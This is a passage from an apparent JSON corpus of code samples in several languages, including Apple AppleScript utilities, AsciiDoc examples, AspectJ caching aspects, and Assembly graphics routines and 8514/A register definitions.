\"\\\"\" & thePOSIXFileName & \"\\\"\" & \" -o \" & \"\\\"\" & newFileName & \"\\\"\" & \" -j \\\"application/pdf\\\"\"\n\t\t\n\t\tdo shell script terminalCommand\n\tend try\nend processFile\n\n"
  },
  {
    "path": "samples/AppleScript/Convert To PostScript.applescript",
    "content": "(*\n\nCopyright 2003 Apple Computer, Inc.\n\nYou may incorporate this Apple sample code into your program(s) without\nrestriction.  This Apple sample code has been provided \"AS IS\" and the\nresponsibility for its operation is yours.  You are not permitted to\nredistribute this Apple sample code as \"Apple sample code\" after having\nmade changes.  If you're going to redistribute the code, we require\nthat you make it clear that the code was descended from Apple sample\ncode, but that you've made changes.\n*)\n\nproperty type_list : {\"JPEG\", \"GIFf\", \"PICT\", \"TIFF\", \"PDF\", \"TEXT\"}\nproperty extension_list : {\"jpg\", \"gif\", \"pct\", \"tif\", \"pdf\", \"rtf\"}\n--html is not currently handled\n\non run {}\n\ttell application \"Finder\" to set FinderSelection to the selection as alias list\n\t\n\tset FS to FinderSelection\n\t--Ideally, this list could be passed to the open handler\n\t\n\tset SelectionCount to number of FS -- count\t\n\tif SelectionCount is 0 then\n\t\tset FS to userPicksFolder()\n\telse if the SelectionCount is 1 then\n\t\tset MyPath to path to me\n\t\tif MyPath is item 1 of FS then\n\t\t\t--If I'm a droplet then I was double-clicked\n\t\t\tset FS to userPicksFolder()\n\t\tend if\n\telse\n\t\t--I'm not a double-clicked droplet\n\tend if\n\topen FS\nend run\n\non userPicksFolder()\n\tset these_items to {}\n\tset these_items to (choose file with prompt \"Select a file to convert to PostScript:\" of type {\"JPEG\", \"GIFf\", \"PICT\", \"TIFF\", \"TEXT\", \"RTF\"}) as list\nend userPicksFolder\n\n\non open these_items\n\tset thesefiles to {}\n\tset the item_info to {}\n\trepeat with i from 1 to the count of these_items\n\t\tset this_item to (item i of these_items)\n\t\tset the item_info to info for this_item\n\t\t\n\t\tif folder of the item_info is true then --if the item is a folder\n\t\t\tprocessFolder(this_item)\n\t\telse if ((folder of the item_info is false) and (alias of the item_info is false)) and (the file type of the item_info is in the type_list) or ((the name extension of the item_info) is in the extension_list) then\n\t\t\t\n\t\t\tset theFilePath to (item i of these_items as string)\n\t\t\tset thePOSIXFilePath to POSIX path of theFilePath as string\n\t\t\tprocessFile(thePOSIXFilePath)\n\t\tend if\n\tend repeat\nend open\n\n--process folders \non processFolder(theFolder)\n\tset these_items to list folder theFolder without invisibles\n\trepeat with i from 1 to the count of these_items\n\t\tset this_item to alias ((theFolder as text) & (item i of these_items))\n\t\tset the item_info to info for this_item\n\t\tif folder of the item_info is true then\n\t\t\tprocessFolder(this_item)\n\t\telse if (alias of the item_info is false) and ((the file type of the item_info is in the type_list) or the name extension of the item_info is in the extension_list) then\n\t\t\tset theFilePath to (this_item as string)\n\t\t\tset thePOSIXFilePath to POSIX path of theFilePath as string\n\t\t\tprocessFile(thePOSIXFilePath)\n\t\tend if\n\tend repeat\nend processFolder\n\n--need to pass the URL to Terminal\non processFile(thePOSIXFileName)\n\ttry\n\t\tset terminalCommand to \"\"\n\t\tset convertCommand to \"/System/Library/Printers/Libraries/./convert \"\n\t\tset newFileName to thePOSIXFileName & \".ps\"\n\t\tset terminalCommand to convertCommand & \"-f \" & \"\\\"\" & thePOSIXFileName & \"\\\"\" & \" -o \" & \"\\\"\" & newFileName & \"\\\"\" & \" -j \\\"application/postscript\\\"\"\n\t\t\n\t\tdo shell script terminalCommand\n\tend try\nend processFile\n\n\n"
  },
  {
    "path": "samples/AppleScript/Count Messages in All Mailboxes.applescript",
    "content": "(*\nCount Messages in All Mailboxes\n\nCopyright 2002-2012 Apple Inc. All rights reserved.\n\nYou may incorporate this Apple sample code into your program(s) without\nrestriction.  This Apple sample code has been provided \"AS IS\" and the\nresponsibility for its operation is yours.  You are not permitted to\nredistribute this Apple sample code as \"Apple sample code\" after having\nmade changes.  If you're going to redistribute the code, we require\nthat you make it clear that the code was descended from Apple sample\ncode, but that you've made changes.\n*)\n\n(*\nThis script goes through each mailbox, gets the total message count and\nthe unread count, then displays the final output in a new email message.\n*)\n\ntell application \"Mail\"\n\tset localMailboxes to every mailbox\n\tif (count of localMailboxes) is greater than 0 then\n\t\tset messageCountDisplay to \"Local mailboxes (On My Mac)\" & return & my getMessageCountsForMailboxes(localMailboxes)\n\telse\n\t\tset messageCountDisplay to \"\"\n\tend if\n\t\n\tset everyAccount to every account\n\trepeat with eachAccount in everyAccount\n\t\tset accountMailboxes to every mailbox of eachAccount\n\t\tif (count of accountMailboxes) is greater than 0 then\n\t\t\tset messageCountDisplay to messageCountDisplay & return & \"Mailboxes for Account: \" & name of eachAccount & return & my getMessageCountsForMailboxes(accountMailboxes)\n\t\tend if\n\tend repeat\n\t\n\tset outputMessage to make new outgoing message with properties {content:messageCountDisplay, subject:\"Message counts for all my mailboxes\", visible:true}\n\ttell outputMessage\n\t\tset font to \"Courier\"\n\t\tset size to 12\n\tend tell\nend tell\n\non getMessageCountsForMailboxes(theMailboxes)\n\t-- (list of mailboxes)\n\t-- returns string\n\t\n\tset displayString to \"\"\n\t\n\ttell application \"Mail\"\n\t\trepeat with eachMailbox in theMailboxes\n\t\t\tset mailboxName to name of eachMailbox\n\t\t\tset messageCount to (count of (messages of eachMailbox)) as string\n\t\t\tset unreadCount to unread count of eachMailbox as string\n\t\t\t\n\t\t\tset displayString to displayString & \"    \" & my padString(mailboxName, 40) & \"  \" & messageCount & \" (\" & unreadCount & \" unread)\" & return\n\t\tend repeat\n\tend tell\n\t\n\treturn displayString\nend getMessageCountsForMailboxes\n\non padString(theString, fieldLength)\n\t-- (string, integer)\n\t-- returns string\n\t\n\tset stringLength to length of theString\n\t\n\tif stringLength is greater than fieldLength then\n\t\tset paddedString to (text from character 1 to character (fieldLength - 3) of theString) & \"...\"\n\telse -- stringLength is less than or equal to fieldLength\n\t\tset paddedString to theString\n\t\t\n\t\tset paddingLength to fieldLength - stringLength\n\t\trepeat paddingLength times\n\t\t\tset paddedString to paddedString & space\n\t\tend repeat\n\tend if\n\t\n\treturn paddedString\nend padString"
  },
  {
    "path": "samples/AppleScript/Crazy Message Text.applescript",
    "content": "(*\nCrazy Message Text\n\nCopyright 2002-2012 Apple Inc. All rights reserved.\n\nYou may incorporate this Apple sample code into your program(s) without\nrestriction.  This Apple sample code has been provided \"AS IS\" and the\nresponsibility for its operation is yours.  You are not permitted to\nredistribute this Apple sample code as \"Apple sample code\" after having\nmade changes.  If you're going to redistribute the code, we require\nthat you make it clear that the code was descended from Apple sample\ncode, but that you've made changes.\n*)\n\n(*\nThis script takes a string from the user and then makes a new message\nwhere each letter has a different font, size, and color.\n*)\n\nproperty lowFontSize : 36\nproperty highFontSize : 72\nproperty messageText : \"Happy Birthday!\"\n\nrepeat\n\tset userInput to display dialog \"Enter some message text:\" & return & return & \"Minimum Character Size: \" & (lowFontSize as string) & return & \"Maximum Character Size: \" & (highFontSize as string) default answer messageText buttons {\"Cancel\", \"Set Prefs\", \"Continue\"} default button 3\n\t\n\tif the button returned of userInput is \"Set Prefs\" then\n\t\tset minimumFontSize to 9\n\t\t\n\t\tdisplay dialog \"Enter the minimum font size to use:\" & return & return & \"(Must be at least \" & (minimumFontSize as string) & \")\" default answer lowFontSize buttons {\"OK\"}\n\t\tset newFontSize to text returned of the result as integer\n\t\tif newFontSize is greater than or equal to minimumFontSize then\n\t\t\tset lowFontSize to newFontSize\n\t\telse\n\t\t\tset lowFontSize to minimumFontSize\n\t\tend if\n\t\t\n\t\tdisplay dialog \"Enter the maximum font size to use:\" & return & return & \"(Must be greater than \" & (lowFontSize as string) & \")\" default answer highFontSize buttons {\"OK\"}\n\t\tset newFontSize to text returned of the result as integer\n\t\tif newFontSize is greater than lowFontSize then\n\t\t\tset highFontSize to newFontSize\n\t\telse\n\t\t\tset highFontSize to lowFontSize\n\t\tend if\n\t\t\n\telse -- button returned of userInput is \"Continue\"\n\t\tset theText to text returned of userInput\n\t\tif theText is not \"\" then\n\t\t\tset messageText to theText\n\t\tend if\n\t\texit repeat\n\tend if\nend repeat\n\nset fontList to {\"American Typewriter\", \"American Typewriter Light\", \"American Typewriter Bold\", \"American Typewriter Condensed\", \"American Typewriter Condensed Light\", \"American Typewriter Condensed Bold\", \"Arial\", \"Arial Italic\", \"Arial Bold\", \"Arial Bold Italic\", \"Arial Black\", \"Baskerville\", \"Baskerville Italic\", \"Baskerville SemiBold\", \"Baskerville Bold\", \"Baskerville SemiBold Italic\", \"Baskerville Bold Italic\", \"Big Caslon Medium\", \"Comic Sans MS\", \"Comic Sans MS Bold\", \"Copperplate\", \"Copperplate Light\", \"Copperplate Bold\", \"Didot\", \"Didot Italic\", \"Didot Bold\", \"Futura Medium\", \"Futura Medium Italic\", \"Futura Condensed Medium\", \"Futura Condensed ExtraBold\", \"Geneva\", \"Gill Sans\", \"Gill Sans Italic\", \"Gill Sans Light\", \"Gill Sans Light Italic\", \"Gill Sans Bold\", \"Gill Sans Bold Italic\", \"Herculanum\", \"Lucida Grande\", \"Lucida Grande Bold\", \"Marker Felt Thin\", \"Marker Felt Wide\", \"Optima Regular\", \"Optima Italic\", \"Optima Bold\", \"Optima Bold Italic\", \"Optima ExtraBlack\", \"Papyrus\", \"Verdana\", \"Verdana Italic\", \"Verdana Bold\", \"Verdana Bold Italic\", \"Zapfino\"}\n\ntell application \"Mail\"\n\tactivate\n\tset crazyTextMessage to make new outgoing message with properties {content:messageText, visible:true}\n\t\n\ttell crazyTextMessage\n\t\trepeat with eachCharacter in characters\n\t\t\tset font of eachCharacter to (some item of fontList)\n\t\t\tset size of eachCharacter to (random number from lowFontSize to highFontSize)\n\t\t\tset color of eachCharacter to {random number from 0 to 65535, random number from 0 to 65535, random number from 0 to 65535}\n\t\tend repeat\n\tend tell\nend tell"
  },
  {
    "path": "samples/AppleScript/Get User Name.applescript",
    "content": "(*\nGet User Name\n\nThis script uses UI element scripting to get the name for the\ncurrent user.\n\nIf \"Enable access for assistive devices\" is not checked,\nthis script will open the Universal Access System Preference and ask\nthe user to check the checkbox.\n\nCopyright 2007 Apple Inc.\n\nYou may incorporate this Apple sample code into your program(s) without\nrestriction.  This Apple sample code has been provided \"AS IS\" and the\nresponsibility for its operation is yours.  You are not permitted to\nredistribute this Apple sample code as \"Apple sample code\" after having\nmade changes.  If you're going to redistribute the code, we require\nthat you make it clear that the code was descended from Apple sample\ncode, but that you've made changes.\n*)\n\ntell application \"System Preferences\"\n\tactivate\n\tset current pane to pane \"com.apple.preferences.users\"\nend tell\n\ntell application \"System Events\"\n\tif UI elements enabled then\n\t\ttell tab group 1 of window \"Accounts\" of process \"System Preferences\"\n\t\t\tclick radio button 1\n\t\t\tdelay 2\n\t\t\tget value of text field 1\n\t\tend tell\n\telse\n\t\ttell application \"System Preferences\"\n\t\t\tactivate\n\t\t\tset current pane to pane \"com.apple.preference.universalaccess\"\n\t\t\tdisplay dialog \"UI element scripting is not enabled. Check \\\"Enable access for assistive devices\\\"\"\n\t\tend tell\n\tend if\nend tell"
  },
  {
    "path": "samples/AppleScript/Time Of Day.applescript",
    "content": "(* \n Speaks the  date and time of day\n \n Copyright 2008 Apple Inc. All rights reserved.\n \n You may incorporate this Apple sample code into your program(s) without\n restriction.  This Apple sample code has been provided \"AS IS\" and the\n responsibility for its operation is yours.  You are not permitted to\n redistribute this Apple sample code as \"Apple sample code\" after having\n made changes.  If you're going to redistribute the code, we require\n that you make it clear that the code was descended from Apple sample\n code, but that you've made changes.\n *)\n\non isVoiceOverRunning()\n\tset isRunning to false\n\ttell application \"System Events\"\n\t\tset isRunning to (name of processes) contains \"VoiceOver\"\n\tend tell\n\treturn isRunning\nend isVoiceOverRunning\n\non isVoiceOverRunningWithAppleScript()\n\tif isVoiceOverRunning() then\n\t\tset isRunningWithAppleScript to true\n\t\t\n\t\t-- is AppleScript enabled on VoiceOver --\n\t\ttell application \"VoiceOver\"\n\t\t\ttry\n\t\t\t\tset x to bounds of vo cursor\n\t\t\ton error\n\t\t\t\tset isRunningWithAppleScript to false\n\t\t\tend try\n\t\tend tell\n\t\treturn isRunningWithAppleScript\n\tend if\n\treturn false\nend isVoiceOverRunningWithAppleScript\n\nset currentDate to current date\nset amPM to \"AM\"\nset currentHour to (currentDate's hours)\nset currentMinutes to currentDate's minutes\n\nif (currentHour > 12 and currentHour < 24) then\n\tset amPM to \"PM\"\nelse\n\tset amPM to \"AM\"\nend if\n\n--  make minutes below 10 sound nice\nif currentMinutes < 10 then\n\tset currentMinutes to (\"0\" & currentMinutes) as text\nend if\n\n--  ensure 0:nn gets set to 12:nn AM\nif currentHour is equal to 0 then\n\tset currentHour to 12\nend if\n\n--  readjust for 12 hour time\nif (currentHour > 12) then\n\tset currentHour to (currentHour - 12)\nend if\n\nset currentTime to ((currentDate's month) as text) & \" \" & ((currentDate's day) as text) & \", \" & (currentHour as text) & \":\" & ((currentMinutes) as text) & \" \" & amPM as text\n\nif isVoiceOverRunningWithAppleScript() then\n\ttell application \"VoiceOver\"\n\t\toutput currentTime\n\tend tell\nelse\n\tsay currentTime\n\tdelay 2\nend if\n"
  },
  {
    "path": "samples/AppleScript/center.applescript",
    "content": "set windowWidth to 800\nset windowHeight to 600\ndelay 0.1\n\nset AppleScript's text item delimiters to \"x\"\n\nset res to text returned of (display dialog \"Enter the width x height:\" default answer ((windowWidth & windowHeight) as text))\n\nif res is \"\" then\n  display dialog \"You need to enter a correct response\"\n  return\nend if\nset {windowWidth, windowHeight} to text items of res\n\nset AppleScript's text item delimiters to \"\"\n\ntell application \"Safari\"\n  set screen_width to (do JavaScript \"screen.availWidth\" in document 1)\n  set screen_height to (do JavaScript \"screen.availHeight\" in document 1)\nend tell\n\ntell application \"System Events\"\n  set myFrontMost to name of first item of (processes whose frontmost is true)\nend tell\n\ntell application \"Finder\"\n  set {desktopTop, desktopLeft, desktopRight, desktopBottom} to bounds of desktop\nend tell\n\ntry\n  tell application \"System Events\"\n    tell process myFrontMost\n      set {{w, h}} to size of drawer of window 1\n    end tell\n  end tell\non error\n  set {w, h} to {0, 0}\nend try\n\ntell application \"System Events\"\n  tell process myFrontMost\n    try\n      set {{w, h}} to size of drawer of window 1\n    on error\n      set {w, h} to {0, 0}\n    end try\n    set position of window 1 to {((screen_width - windowWidth) / 2), ((screen_height - windowHeight) / 2.0) - desktopTop}\n    set size of window 1 to {windowWidth -w, windowHeight}\n  end tell\nend tell"
  },
  {
    "path": "samples/AsciiDoc/encoding.asciidoc",
    "content": "Gregory Romé has written an AsciiDoc plugin for the Redmine project management application.\n\nhttps://github.com/foo-users/foo\nへと `vicmd` キーマップを足してみている試み、\nアニメーションgifです。\n\ntag::romé[]\nGregory Romé has written an AsciiDoc plugin for the Redmine project management application.\nend::romé[]\n\n== Überschrift\n\n* Codierungen sind verrückt auf älteren Versionen von Ruby"
  },
  {
    "path": "samples/AsciiDoc/list.asc",
    "content": "AsciiDoc Home Page\n==================\n\nTitle\n-----\n\nExample Articles\n~~~~~~~~~~~~~~~~\n- Item 1\n\n- Item 2\n\n- Item 3\n"
  },
  {
    "path": "samples/AsciiDoc/sample.adoc",
    "content": "Document Title\n==============\nDoc Writer <thedoc@asciidoctor.org>\n:idprefix: id_\n\nPreamble paragraph.\n\nNOTE: This is test, only a test.\n\n== Section A\n\n*Section A* paragraph.\n\n=== Section A Subsection\n\n*Section A* 'subsection' paragraph.\n\n== Section B\n\n*Section B* paragraph.\n\n.Section B list\n* Item 1\n* Item 2\n* Item 3\n"
  },
  {
    "path": "samples/AspectJ/CacheAspect.aj",
    "content": "package com.blogspot.miguelinlas3.aspectj.cache;\n\nimport java.util.Map;\nimport java.util.WeakHashMap;\n\nimport org.aspectj.lang.JoinPoint;\n\nimport com.blogspot.miguelinlas3.aspectj.cache.marker.Cachable;\n\n/**\n * This simple aspect simulates the behaviour of a very simple cache\n *  \n * @author migue\n *\n */\npublic aspect CacheAspect {\n\n\tpublic pointcut cache(Cachable cachable): execution(@Cachable * * (..)) && @annotation(cachable);\n\t\n\tObject around(Cachable cachable): cache(cachable){\n\t\n\t\tString evaluatedKey = this.evaluateKey(cachable.scriptKey(), thisJoinPoint);\n\t\t\n\t\tif(cache.containsKey(evaluatedKey)){\n\t\t\tSystem.out.println(\"Cache hit for key \" + evaluatedKey);\n\t\t\treturn this.cache.get(evaluatedKey);\n\t\t}\n\t\t\n\t\tSystem.out.println(\"Cache miss for key \" + evaluatedKey);\n\t\tObject value = proceed(cachable);\n\t\tcache.put(evaluatedKey, value);\n\t\treturn value;\n\t}\n\t\n\tprotected String evaluateKey(String key, JoinPoint joinPoint) {\n\t\t// TODO add some smart staff to allow simple scripting in @Cachable annotation\n\t\treturn key;\n\t}\n\t\n\tprotected Map<String, Object> cache = new WeakHashMap<String, Object>();\n}\n"
  },
  {
    "path": "samples/AspectJ/OptimizeRecursionCache.aj",
    "content": "package aspects.caching;\r\n\r\nimport java.util.Map;\r\n\r\n/**\r\n * Cache aspect for optimize recursive functions.\r\n * \r\n * @author Migueli\r\n * @date 05/11/2013\r\n * @version 1.0\r\n *\r\n */\r\npublic abstract aspect OptimizeRecursionCache {\r\n\t\t\r\n\t@SuppressWarnings(\"rawtypes\")\r\n\tprivate Map _cache;\r\n\t\r\n\tpublic OptimizeRecursionCache() {\r\n\t\t_cache = getCache();\r\n\t}\r\n\t\r\n\t@SuppressWarnings(\"rawtypes\")\r\n\tabstract public Map getCache();\r\n\t\r\n\tabstract public pointcut operation(Object o);\r\n\r\n\tpointcut topLevelOperation(Object o): operation(o) && !cflowbelow(operation(Object));\r\n\r\n\tbefore(Object o) : topLevelOperation(o) {\r\n\t\tSystem.out.println(\"Seeking value for \" + o);\r\n\t}\r\n\r\n\tObject around(Object o) : operation(o) {\r\n\t\tObject cachedValue = _cache.get(o);\r\n\t\tif (cachedValue != null) {\r\n\t\t\tSystem.out.println(\"Found cached value for \" + o + \": \" + cachedValue);\r\n\t\t\treturn cachedValue;\r\n\t\t}\r\n\t\treturn proceed(o);\r\n\t}\r\n\r\n\t@SuppressWarnings(\"unchecked\")\r\n\tafter(Object o) returning(Object result) : topLevelOperation(o) {\r\n\t\t_cache.put(o, result);\r\n\t}\r\n\t\r\n\tafter(Object o) returning(Object result) : topLevelOperation(o) {\r\n\t\tSystem.out.println(\"cache size: \" + _cache.size());\r\n\t}\r\n}\r\n"
  },
  {
    "path": "samples/Assembly/3D_PRG.I",
    "content": "; this file is part of Release, written by Malban in 2017\n;\n***********************************************************  \n; input list in X\n; destroys u\n; 0 move\n; negative use as shift\n; positive end\nasm_draw_3ds: \n       ldu 2,x\n       lda 1,x;\nstarts:\n       sta $d004;\n       ldd ,u;\n       sta $d001;\n       clr $d000;\n       lda ,x;\n       inc $d000;\n       stb $d001;\n       sta $d00A;\n       clr $d005;\n       leax 4,x;\n       ldu 2,x;\n       lda ,x;\n       bgt end1s;\n       lda 1,x;\n       ldb #$40;\nwaits: bitb $d00D;\n       beq waits;\n       ldb #0\n       stb $d00A;\n       bra starts;\nend1s: ldd #$0040;\nends:  bitb $d00D;\n       beq ends;\n       sta $d00A\n rts\n\n \nasm_draw_3d:\n       ldu 1,x\nstart: ldd ,u;\n       sta $d001;\n       clr $d000;\n       lda ,x;\n       inc $d000;\n       stb $d001;\n       sta $d00A;\n       clr $d005;\n       leax 3,x;\n       ldu 1,x;\n       lda ,x;\n       bgt end1;\n       ldd #$0040;\nwait:  bitb $d00D;\n       beq wait;\n       sta $d00A;\n       bra start;\nend1:  ldd #$0040;\nend:   bitb $d00D;\n       beq end;\n       sta $d00A\n rts\n\n\n\n; Cosinus data\ncosinus3d: \n                    DB       63, 62, 61, 60, 58, 55, 52, 48, 43, 39, 34 ; 11 \n                    DB       28, 23, 17, 10, 4, -1, -7, -14, -20, -25, -31 ; 22 \n                    DB       -36, -41, -46, -50, -53, -56, -59, -61, -62, -62, -62 ; 33 \n                    DB       -62, -61, -59, -56, -53, -50, -46, -41, -36, -31, -25 ; 44 \n                    DB       -20, -14, -7, -1, 4, 10, 17, 23, 28, 34, 39 ; 55 \n                    DB       43, 48, 52, 55, 58, 60, 61, 62, 63 \n; Sinus data\nsinus3d: \n                    DB       0, 6, 12, 18, 24, 30, 35, 40, 45, 49, 52 ; 11 \n                    DB       56, 58, 60, 62, 62, 62, 62, 61, 59, 57, 54 ; 22 \n                    DB       51, 47, 42, 38, 32, 27, 21, 15, 9, 3, -3 ; 33 \n                    DB       -9, -15, -21, -27, -32, -38, -42, -47, -51, -54, -57 ; 44 \n                    DB       -59, -61, -62, -62, -62, -62, -60, -58, -56, -52, -49 ; 55 \n                    DB       -45, -40, -35, -30, -24, -18, -12, -6, -3 \n"
  },
  {
    "path": "samples/Assembly/A8514.i",
    "content": "\r\n\r\n;;/*....................Bit Definitions....................................*/\r\nNOERROR\tequ\t00h\r\nNO8514A\t\tequ 80h\r\n;;/*....................GC250 REGISTERS....................................*/\r\nDISP_STAT\t\tequ 02E8h\t;/* Display Status Register\t\t*/\r\nH_TOTAL\t\t\tequ 02E8h  ;/* Horizontal Total Register\t*/\r\nDAC_MASK\t\tequ 02EAh\t;/* DAC Mask \t\t\t\t\t*/\r\nDAC_RINDEX\t\tequ 02EBh\t;/* DAC read index register\t\t*/\r\nDAC_WINDEX\t\tequ 02ECh\t;/* DAC write index register\t\t*/\r\nDAC_DATA\t\tequ 02EDh\t;/* DAC Data register\t\t\t*/\r\nH_DISPLAYED\t\tequ 06E8h\t;/* Horiz Displayed Reg\t\t\t*/\r\nH_SYNC_STRT\t\tequ 0AE8h\t;/* Horiz Sync Start Reg\t\t\t*/\r\nH_SYNC_WID\t\tequ 0EE8h\t;/* Horiz Sync Width Reg\t\t\t*/\r\nV_TOTAL\t\t\tequ 12E8h\t;/* Vertical Total Reg\t\t\t*/\r\nV_DISPLAYED\t\tequ 16E8h\t;/* Vertical Displayed Reg\t\t*/\r\nV_SYNC_STRT\t\tequ 1AE8h\t;/* Vertical Sync Start Reg\t\t*/\r\nV_SYNC_WID\t\tequ 1EE8h\t;/* Vertical Sync Width Reg\t\t*/\r\nDISP_CNTL\t\tequ 22E8h\t;/* Display Control Register\t\t*/\r\nSUBSYS_CNTL\t\tequ 42E8h\t;/* Subsystem Control Reg\t\t*/\r\nSUBSYS_STAT \tequ 42E8h\t;/* Subsystem Status Reg\t\t\t*/\r\nROM_PAGE_SEL\tequ 46E8h\t;/* ROM Page Select Reg\t\t\t*/\r\nADVFUNC_CNTL\tequ 4AE8h\t;/* Adv Func Control Reg\t\t\t*/\r\nCUR_Y_POS\t\tequ 82E8h\t;/* Current Y Position\t\t\t*/\r\nCUR_X_POS\t\tequ 86E8h\t;/* Current Y Position\t\t\t*/\r\nDESTY_AXSTP\t\tequ 8AE8h\t;/* Dest Y/Axial Step Reg\t\t*/\r\nDESTX_DIASTP\tequ 8EE8h\t;/* Dest X/Diagl Step Reg\t\t*/\r\nERR_TERM\t\tequ 92E8h\t;/* Error Term Register\t\t\t*/\r\nMAJ_AXIS_PCNT\tequ 96E8h\t;/* Major Axis Pixel Count\t\t*/\r\nCOMMAND\t\t\tequ 9AE8h\t;/* Command register\t\t\t\t*/\r\nGP_STATUS\t\tequ 9AE8h\t;/* Graphics Processor Status\t*/\r\nCMD_STATUS\t\tequ 9AE9h\t;/* Command status register\t\t*/\r\nSHORT_STROKE\tequ 9EE8h\t;/* Short Stroke Vector Reg\t\t*/\r\nBKGD_COLOR\t\tequ 0A2E8h\t;/* Background Color \t\t\t*/\r\nFRGD_COLOR\t\tequ 0A6E8h\t;/* Foreground Color \t\t\t*/\r\nWRT_MASK\t\tequ 0AAE8h\t;/* Write Mask\t\t\t\t\t*/\r\nRD_MASK\t\t\tequ 0AEE8h\t;/* Read Mask\t\t\t\t\t*/\r\nCOLOR_CMP\t\tequ 0B2E8h\t;/* Color Compare Register\t\t*/\r\nBKGD_MIX\t\tequ 0B6E8h\t;/* Background Mix Register\t\t*/\r\nFGRD_MIX\t\tequ 0BAE8h\t;/* Foreground Mix Register\t\t*/\r\nMLTFUNC_CNTL\tequ 0BEE8h\t;/* Multifunction Control\t\t*/\r\nPIX_TRANS\t\tequ 0E2E8h\t;/* Pixel Data Transfer Reg.\t\t*/\r\n;/* ..................Bit definitions of Registers .....................*/\r\nCMD_ACTIVE\t\tequ 02h\t;/* Command is active? */\r\nDATA_AVAIL\t\tequ 01h\t;/* Input Data Available? */\r\nNO8514\t\t\tequ 40h\t;/* No 8514 Monitor present */\r\nMONOCHROME \t\tequ 10h\t;/* Monochrome Monitor? */\r\nPLANE8\t\t\tequ 80h\t;/* 8 plane memory available */\r\n;/* ..................COMMAND mask bits ................................*/\r\nWRITCMD\t\tequ 01h\r\nPLANAR\t\tequ 02h\r\nLSTPELNULL\tequ 04h\r\nSTROKE_ALG\tequ 08h\r\nDRAWCMD\t\tequ 10h\r\nINCX\t\tequ 20h\r\nYMAJAXIS\tequ 40h\r\nINCY\t\tequ 80h\r\nPC_TRANS\tequ 100h\r\nBIT16\t\tequ 200h\r\nBYTE_SWAP\tequ 1000h\r\nNO_FCN\t\tequ 0000h\r\nLINE_DRAW\tequ 2000h\r\nFILL_X_RECT\tequ 4000h\r\nFILL_Y_RECT\tequ 6000h\r\nFILL_RECT\tequ 8000h\r\nAXIAL_LINE\tequ 0A000h\r\nCOPY_RECT\tequ 0C000h\r\nHANG\t\tequ 0E000h\r\n;/* ..................MIX Defines ........................................*/\r\nMIX_NOT_DEST\t\tequ 00h\r\nMIX_ZERO\t\t\tequ 01h\r\nMIX_ONE\t\t\t\tequ 02h\r\nMIX_DEST\t\t\tequ 03h\r\nMIX_NOT_SRC\t\t\tequ 04h\r\nMIX_SRC_XOR_DEST\tequ 05h\r\nMIX_NOT\t\t\t\tequ 06h\r\nMIX_SRC\t\t\t\tequ 07h\r\n;/* .................MIX Sources .........................................*/\r\nB_CLR_ACTIVE\tequ 00h\r\nF_CLR_ACTIVE\tequ 20h\r\nPTRANS_ACTIVE\tequ 40h\r\nALL_PLANE_CPY\tequ 60h\r\n;/* .................MLTFUNC_CNTL ... high order nibble is an index .......*/\r\nMINOR_AXIS_PCNT\tequ 0000h\r\nSCISSOR_T\t\tequ 1000h\r\nSCISSOR_L\t\tequ 2000h\r\nSCISSOR_B\t\tequ 3000h\r\nSCISSOR_R\t\tequ 4000h\r\nMEM_CNTL\t\tequ 5000h\r\nPIX_CNTL\t\tequ 0A000h\r\n;/* Mix operation select */\r\nONE_PLN_COPY \tequ 0C0h\r\n;/* Write transfers use fgdmix for 1's and bkgdmix for 0's */\r\nWRT_PLN_MODE\tequ 080h\r\n;/* Write transfers use fgdmix for 1's and bkgdmix for 0's */\r\nPIX_MIX_SEL\t\tequ 040h\r\nFGD_MIX_ACT\t\tequ 0000h\r\n;/* Misc bit deinitions */\r\nSTOP_SEQ\t\tequ 9000h\t;/* subsystem cntl reg */\r\nSTART_SEQ\t\tequ 5000h\t;/* subsystem cntl reg */\r\nRESET_QUEUE_FULL equ 04h\r\n\r\nVP1024\tequ 0\t\t;/* AI Monde 0,2,3\t\t*/\r\nVP644\tequ 1\t\t;/* AI Mode 1 (4 plane)  */\r\nVP648\tequ 2\t\t;/* AI Mode 1 (8 plane)\t*/\r\n\r\n\r\n;/*.........................CONTROL WORD BITFIELDS...................*/\r\nGP_READ\t\tequ 0\r\nGP_WRITE\tequ 1\t\t\t\t;/* Writing or reading screen */\r\nGP_PIXEL\tequ 0\r\nGP_PLANE\tequ (1<<1)\t\t\t;/* Bitplane or chunky pixels */\r\nGP_SETL\t\tequ 0\r\nGP_SKIPL\tequ (1<<2)\t\t\t;/* Skip last pixel in line? */\r\nGP_LINEL\tequ 0\r\nGP_LINES\tequ (1<<3)\t\t\t;/* Short stroke or long line? */\r\nGP_MOVE\t\tequ 0\r\nGP_DRAW\t\tequ (1<<4)\t\t\t;/* Draw pixels or just move x/y position */\r\nGP_DECX\t\tequ 0\r\nGP_INCX\t\tequ (1<<5)\t\t\t;/* Increment or decrement x position? */\r\nGP_AXISX\tequ 0\r\nGP_AXISY\tequ (1<<6)\t\t\t;/* Is Y or X the major axis? */\r\nGP_DECY\t\tequ 0\r\nGP_INCY\t\tequ (1<<7)\t\t\t;/* Increment or decrement y position? */\r\nGP_NODATA\tequ 0\r\nGP_DATA\t\tequ (1<<8)\t\t\t;/* Pixel Data Transfer register used? */\r\nGP_BUS8\t\tequ 0\r\nGP_BUS16\tequ (1<<9)\t\t\t;/* 16 or 8 bit buss access */\r\nGP_PIXEL8\tequ 0\r\nGP_PIXEL16\tequ (1<<10)\t\t\t;/* Always enabled - 16 bit internal */\r\nGP_RESERVED equ (0<<11)\r\nGP_NOSWAP\tequ 0\r\nGP_SWAP\t\tequ (1<<12)\t\t\t;/* Swap bytes on 16 bit PC transfers */\r\nGPC_NOP\t\tequ (0<<13)\t\t\t;/* Do nothing */\r\nGPC_LINE\tequ (1<<13)\t\t\t;/* Draw a line */\r\nGPC_RECTX\tequ (2<<13)\t\t\t;/* Rectangle drawn x-wise. Pos updated */\r\nGPC_RECTY\tequ (3<<13)\t\t\t;/* Rectangle drawn y-wise. Pos updated */\r\nGPC_RECTS\tequ (4<<13)\t\t\t;/* Rectangle.  XY Pos not updated at end */\r\nGPC_LINEF\tequ (5<<13)\t\t\t;/* Line for doing poly-fills. */\r\nGPC_COPY\tequ (6<<13)\t\t\t;/* Copy to/from memory */\r\nGPC_HANG\tequ (7<<13)\t\t\t;/* Make adapter hang & need reboot */\r\n\r\n\r\nWait_free  MACRO\r\n           LOCAL     WaitLoop\r\n\r\n           mov       DX, CMD_STATUS       ; Make sure the board's not busy...\r\nWaitLoop:  in        AX, DX            ; Read the status.\r\n           test      AX, CMD_ACTIVE          ; Is the machine 